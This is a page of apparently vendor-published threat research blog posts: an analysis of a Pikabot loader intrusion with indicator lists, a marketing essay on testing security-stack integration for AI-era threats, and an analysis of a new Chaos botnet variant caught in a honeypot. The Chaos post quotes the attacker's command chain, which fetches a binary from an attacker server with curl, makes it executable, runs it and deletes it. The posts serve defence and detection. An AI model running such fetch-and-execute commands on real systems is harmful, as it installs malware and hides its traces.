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March 19, 2024

Pikabot Malware: Insights, Impact, & Attack Analysis

Learn about Pikabot malware and its rapid evolution in the wild, impacting organizations and how to defend against this growing threat.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brianna Luong (Leddy)
Sr. Technical Alliances Manager
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19
Mar 2024

How does Loader Malware work?

Throughout 2023, the Darktrace Threat Research team identified and investigated multiple strains of loader malware affecting customers across its fleet. These malicious programs typically serve as a gateway for threat actors to gain initial access to an organization’s network, paving the way for subsequent attacks, including additional malware infections or disruptive ransomware attacks.

How to defend against loader malware

The prevalence of such initial access threats highlights the need for organizations to defend against multi-phase compromises, where modular malware swiftly progresses from one stage of an attack to the next. One notable example observed in 2023 was Pikabot, a versatile loader malware used for initial access and often accompanied by secondary compromises like Cobalt Strike and Black Basta ransomware.

While Darktrace initially investigated multiple instances of campaign-like activity associated with Pikabot during the summer of 2023, a new campaign emerged in October which was observed targeting a Darktrace customer in Europe. Thanks to the timely detection by Darktrace DETECT™ and the support of Darktrace’s Security Operations Center (SOC), the Pikabot compromise was quickly shut down before it could escalate into a more disruptive attack.

What is Pikabot?

Pikabot is one of the latest modular loader malware strains that has been active since the first half of 2023, with several evolutions in its methodology observed in the months since. Initial researchers noted similarities to the Qakbot aka Qbot or Pinkslipbot and Mantanbuchus malware families, and while Pikabot appears to be a new malware in early development, it shares multiple commonalities with Qakbot [1].

First, both Pikabot and Qakbot have similar distribution methods, can be used for multi-stage attacks, and are often accompanied by downloads of Cobalt Strike and other malware strains. The threat actor known as TA577, which has also been referred to as Water Curupira, has been seen to use both types of malware in spam campaigns which can lead to Black Basta ransomware attacks [2] [3].Notably, a rise in Pikabot campaigns were observed in September and October 2023, shortly after the takedown of Qakbot in Operation Duck Hunt, suggesting that Pikabot may be serving as a replacement for initial access to target network [4].

How does Pikabot malware work?

Many Pikabot infections start with a malicious email, particularly using email thread hijacking; however, other cases have been distributed via malspam and malvertising [5]. Once downloaded, Pikabot runs anti-analysis techniques and checks the system’s language, self-terminating if the language matches that of a Commonwealth of Independent States (CIS) country, such as Russian or Ukrainian. It will then gather key information to send to a command-and-control (C2) server, at which point additional payload downloads may be observed [2]. Early response to a Pikabot infection is important for organizations to prevent escalation to a significant compromise such as ransomware.

Darktrace’s Coverage of Pikabot malware

Between April and July 2023, the Darktrace Threat Research team investigated Pikabot infections affected more than 15 customer environments; these attacks primarily targeted US and European organizations spanning multiple industries, and most followed the below lifecycle:

  1. Initial access via malspam or email, often outside of Darktrace’s scope
  2. Suspicious executable download from a URI in the format /\/[a-z0-9A-Z]{3,}\/[a-z0-9A-Z]{5,}/ and using a Windows PowerShell user agent
  3. C2 connections to IP addresses on uncommon ports including 1194 and 2078
  4. Some cases involved further C2 activity to Cobalt Strike endpoints

In October 2023, a second campaign emerged that largely followed the same attack pattern, with a notable difference that cURL was used for the initial payload download as opposed to PowerShell. All the Pikabot cases that Darktrace has observed since October 2023 have used cURL, which could indicate a shift in approach from targeting Windows devices to multi-operating system environments.

Figure 1: Timeline of the Pikabot infection over a 2-hour period.

On October 17, 2023, Darktrace observed a Pikabot infection on the network of a European customer after an internal user seemingly clicked a malicious link in a phishing email, thereby compromising their device. As the customer did not have Darktrace/Email™ deployed on their network, Darktrace did not have visibility over the email. Despite this, DETECT was still able to provide full visibility over the network-based activity that ensued.

Darktrace observed the device using a cURL user agent when initiating the download of an unusual executable (.exe) file from an IP address that had never previously been observed on the network. Darktrace further recognized that the executable file was attempting to masquerade as a different file type, likely to evade the detection of security teams and their security tools. Within one minute, the device began to communicate with additional unusual IP addresses on uncommon ports (185.106.94[.]174:5000 and 80.85.140[.]152:5938), both of which have been noted by open-source intelligence (OSINT) vendors as Pikabot C2 servers [6] [7].

Figure 2: Darktrace model breach Event Log showing the initial file download, immediately followed by a connection attempt to a Pikabot C2 server.

Around 40 minutes after the initial download, Darktrace detected the device performing suspicious DNS tunneling using a pattern that resembled the Cobalt Strike Beacon. This was accompanied by beaconing activity to a rare domain, ‘wordstt182[.]com’, which was registered only 4 days prior to this activity [8]. Darktrace observed additional DNS connections to the endpoint, ‘building4business[.]net’, which had been linked to Black Basta ransomware [2].

Figure 3: The affected device making successful TXT DNS requests to known Black Basta endpoints.

As this customer had integrated Darktrace with the Microsoft Defender, Defender was able to contextualize the DETECT model breaches with endpoint insights, such as known threats and malware, providing customers with unparalleled visibility of the host-level detections surrounding network-level anomalies.

In this case, the behavior of the affected device triggered multiple Microsoft Defender alerts, including one alert which linked the activity to the threat actor Storm-0464, another name for TA577 and Water Curupira. These insights were presented to the customer in the form of a Security Integration alert, allowing them to build a full picture of the ongoing incident.

Figure 4: Security Integration alert from Microsoft Defender in Darktrace, linking the observed activity to the threat group Storm-0464.

As the customer had subscribed to Darktrace’s Proactive Threat Notification (PTN) service, the customer received timely alerts from Darktrace’s SOC notifying them of the suspicious activity associated with Pikabot. This allowed the customer’s security team to quickly identify the affected device and remove it from their environment for remediation.

Although the customer did have Darktrace RESPOND™ enabled on their network, it was configured in human confirmation mode, requiring manual application for any RESPOND actions. RESPOND had suggested numerous actions to interrupt and contain the attack, including blocking connections to the observed Pikabot C2 addresses, which were manually actioned by the customer’s security team after the fact. Had RESPOND been enabled in autonomous response mode during the attack, it would have autonomously blocked these C2 connections and prevented the download of any suspicious files, effectively halting the escalation of the attack.

Nonetheless, Darktrace DETECT’s prompt identification and alerting of this incident played a crucial role in enabling the customer to mitigate the threat of Pikabot, preventing it from progressing into a disruptive ransomware attack.

Figure 5: Darktrace RESPOND actions recommended from the initial file download and throughout the C2 traffic, ranging from blocking specific connections to IP addresses and ports to enforcing a normal pattern of life for the source device.

Conclusion

Pikabot is just one recent example of a modular strain of loader known for its adaptability and speed, seamlessly changing tactics from one campaign to the next and utilizing new infrastructure to initiate multi-stage attacks. Leveraging commonly used tools and services like Windows PowerShell and cURL, alongside anti-analysis techniques, this malware can evade the detection and often bypass traditional security tools.

In this incident, Darktrace detected a Pikabot infection in its early stages, identifying an anomalous file download using a cURL user agent, a new tactic for this particular strain of malware. This timely detection, coupled with the support of Darktrace’s SOC, empowered the customer to quickly identify the compromised device and act against it, thwarting threat actors attempting to connect to malicious Cobalt Strike and Black Basta servers. By preventing the escalation of the attack, including potential ransomware deployment, the customer’s environment remained safeguarded.

Had Darktrace RESPOND been enabled in autonomous response mode at the time of this attack, it would have been able to further support the customer by applying targeted mitigative actions to contain the threat of Pikabot at its onset, bolstering their defenses even more effectively.

Credit to Brianna Leddy, Director of Analysis, Signe Zaharka, Senior Cyber Security Analyst

Appendix

Darktrace DETECT Models

Anomalous Connection / Anomalous SSL without SNI to New External

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / Multiple Connections to New External TCP Port

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Powershell to Rare External

Anomalous Connection / Rare External SSL Self-Signed

Anomalous Connection / Repeated Rare External SSL Self-Signed

Anomalous File / EXE from Rare External Location

Anomalous File / Masqueraded File Transfer

Anomalous File / Multiple EXE from Rare External Locations

Compromise / Agent Beacon to New Endpoint

Compromise / Beacon to Young Endpoint

Compromise / Beaconing Activity To External Rare

Compromise / DNS / DNS Tunnel with TXT Records

Compromise / New or Repeated to Unusual SSL Port

Compromise / SSL Beaconing to Rare Destination

Compromise / Suspicious Beaconing Behaviour

Compromise / Suspicious File and C2

Device / Initial Breach Chain Compromise

Device / Large Number of Model Breaches

Device / New PowerShell User Agent

Device / New User Agent

Device / New User Agent and New IP

Device / Suspicious Domain

Security Integration / C2 Activity and Integration Detection

Security Integration / Egress and Integration Detection

Security Integration / High Severity Integration Detection

Security Integration / High Severity Integration Incident

Security Integration / Low Severity Integration Detection

Security Integration / Low Severity Integration Incident

Antigena / Network / External Threat / Antigena File then New Outbound Block

Antigena / Network / External Threat / Antigena Suspicious Activity Block

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / Significant Anomaly / Antigena Breaches Over Time Block

Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach

Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Client Block

Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block

Antigena / Network / Significant Anomaly / Antigena Significant Security Integration and Network Activity Block

List of Indicators of Compromise (IoC)

IOC - TYPE - DESCRIPTION + CONFIDENCE

128.140.102[.]132 - IP Address - Pikabot Download

185.106.94[.]174:5000 - IP Address: Port - Pikabot C2 Endpoint

80.85.140[.]152:5938 - IP Address: Port - Pikabot C2 Endpoint

building4business[.]net - Hostname - Cobalt Strike DNS Beacon

wordstt182[.]com - Hostname - Cobalt Strike Server

167.88.166[.]109 - IP Address - Cobalt Strike Server

192.9.135[.]73 - IP - Pikabot C2 Endpoint

192.121.17[.]68 - IP - Pikabot C2 Endpoint

185.87.148[.]132 - IP - Pikabot C2 Endpoint

129.153.22[.]231 - IP - Pikabot C2 Endpoint

129.153.135[.]83 - IP - Pikabot C2 Endpoint

154.80.229[.]76 - IP - Pikabot C2 Endpoint

192.121.17[.]14 - IP - Pikabot C2 Endpoint

162.252.172[.]253 - IP - Pikabot C2 Endpoint

103.124.105[.]147 - IP - Likely Pikabot Download

178.18.246[.]136 - IP - Pikabot C2 Endpoint

86.38.225[.]106 - IP - Pikabot C2 Endpoint

198.44.187[.]12 - IP - Pikabot C2 Endpoint

154.12.233[.]66 - IP - Pikabot C2 Endpoint

MITRE ATT&CK Mapping

TACTIC - TECHNIQUE

Defense Evasion - Masquerading: Masquerade File Type (T1036.008)

Command and Control - Application Layer Protocol: Web Protocols (T1071.001)

Command and Control - Non-Standard Port (T1571)

Command and Control - Application Layer Protocol: DNS (T1071.004)

Command and Control - Protocol Tunneling (T1572)

References

[1] https://news.sophos.com/en-us/2023/06/12/deep-dive-into-the-pikabot-cyber-threat/?&web_view=true  

[2] https://www.trendmicro.com/en_be/research/24/a/a-look-into-pikabot-spam-wave-campaign.html

[3] https://thehackernews.com/2024/01/alert-water-curupira-hackers-actively.html

[4] https://www.darkreading.com/cyberattacks-data-breaches/pikabot-malware-qakbot-replacement-black-basta-attacks

[5] https://www.redpacketsecurity.com/pikabot-distributed-via-malicious-ads-6/

[6] https://www.virustotal.com/gui/ip-address/185.106.94.174/detection

[7] https://www.virustotal.com/gui/ip-address/80.85.140.152/detection

[8] https://www.domainiq.com/domain?wordstt182.com

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brianna Luong (Leddy)
Sr. Technical Alliances Manager

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April 9, 2026

How to Secure AI and Find the Gaps in Your Security Operations

secuing AI testing gaps security operationsDefault blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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